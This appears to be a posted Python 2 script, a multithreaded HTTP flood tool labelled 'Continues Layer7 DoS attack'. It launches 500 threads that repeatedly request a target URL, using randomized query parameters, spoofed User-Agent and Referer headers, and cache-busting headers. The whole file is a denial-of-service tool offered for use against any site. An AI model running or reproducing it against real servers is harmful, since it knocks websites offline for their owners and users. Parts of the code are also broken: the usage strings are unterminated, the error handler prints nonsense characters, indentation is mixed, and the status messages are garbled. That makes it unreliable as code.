[Python] Continues Layer7 DoS

#   | - - - - - - - - - - - - - - - |   #
#   |  Continues Layer7 DoS attack  |   #
#   |    Coded by Chris Poole       |   #
#   | - - - - - - - - - - - - - - - |   #
#   |     python Layer7.py <url>    |   #
#   | - - - - - - - - - - - - - - - |   #
import urllib2
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def inc_counter():
	global request_counter
	request_counter+=1

def set_flag(val):
	global flag
	flag=val

def set_safe():
	global safe
	safe=1

# generates a user agent array
def useragent_list():
	global headers_useragents
	headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
	headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
	headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
	headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
	headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
	return(headers_useragents)

# generates a referer array
def referer_list():
	global headers_referers
	headers_referers.append('http://www.google.com/?q=')
	headers_referers.append('http://www.usatoday.com/search/results?q=')
	headers_referers.append('http://engadget.search.aol.com/search?q=')
	headers_referers.append('http://' + host + '/')
	return(headers_referers)

#builds random ascii string
def buildblock(size):
	out_str = ''
	for i in range(0, size):
		a = random.randint(65, 90)
		out_str += chr(a)
	return(out_str)

def usage():
    print '   | - - - - - - - - - - - - - - - |
    print '   |  Continues Layer7 DoS attack  |
    print '   |    Coded by Chris Poole       |
    print '   | - - - - - - - - - - - - - - - |
    print '   |     python Layer7.py <url>    |
    print '   | - - - - - - - - - - - - - - - |
    print "\a"



#http request
def httpcall(url):
	useragent_list()
	referer_list()
	code=0
	if url.count("?")>0:
		param_joiner="&"
	else:
		param_joiner="?"
	request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
	request.add_header('User-Agent', random.choice(headers_useragents))
	request.add_header('Cache-Control', 'no-cache')
	request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
	request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
	request.add_header('Keep-Alive', random.randint(110,120))
	request.add_header('Connection', 'keep-alive')
	request.add_header('Host',host)
	try:
			urllib2.urlopen(request)
	except urllib2.HTTPError, e:
			#print e.code
			set_flag(1)
 			print 'r'
 			print 'q'
 			print 'p'
 			print 'f'
 			print '3'
 			print 'e'
 			print 'w'
 			print 'o'
 			print 'x'
 			print 'y'
 			print '7'
 			print 'j'
 			print 'i'
 			print 'g'
                        print 'z'
                        print 'c'
                        print '4'
                        print '2'
                        print 'n'
                        print '7'
                        print 'g'
                        print 'k'
                        print '8'
                        print '0'
			code=500
	except urllib2.URLError, e:
			#print e.reason
			sys.exit()
	else:
			inc_counter()
			urllib2.urlopen(request)
	return(code)


#http caller thread
class HTTPThread(threading.Thread):
	def run(self):
		try:
			while flag<2:
				code=httpcall(url)
				if (code==500) & (safe==1):
					set_flag(2)
		except Exception, ex:
			pass

# monitors http threads and counts requests
class MonitorThread(threading.Thread):
	def run(self):
		previous=request_counter
		while flag==0:
			if (previous+100<request_counter) & (previous<>request_counter):
				print "%d Shots sends Senting" % (request_counter)
				previous=request_counter
		if flag==2:
			print "\n -0 Hits are secced"

#execute
if len(sys.argv) < 2:
	usage()
	sys.exit()
else:
	if sys.argv[1]=="help":
		usage()
		sys.exit()
	else:

		if len(sys.argv)== 3:
			if sys.argv[2]=="safe":
				set_safe()
		url = sys.argv[1]
		if url.count("/")==2:
			url = url + "/"
		m = re.search('http\://([^/]*)/?.*', url)
		host = m.group(1)
		for i in range(500):
			t = HTTPThread()
			t.start()
		t = MonitorThread()
		t.start()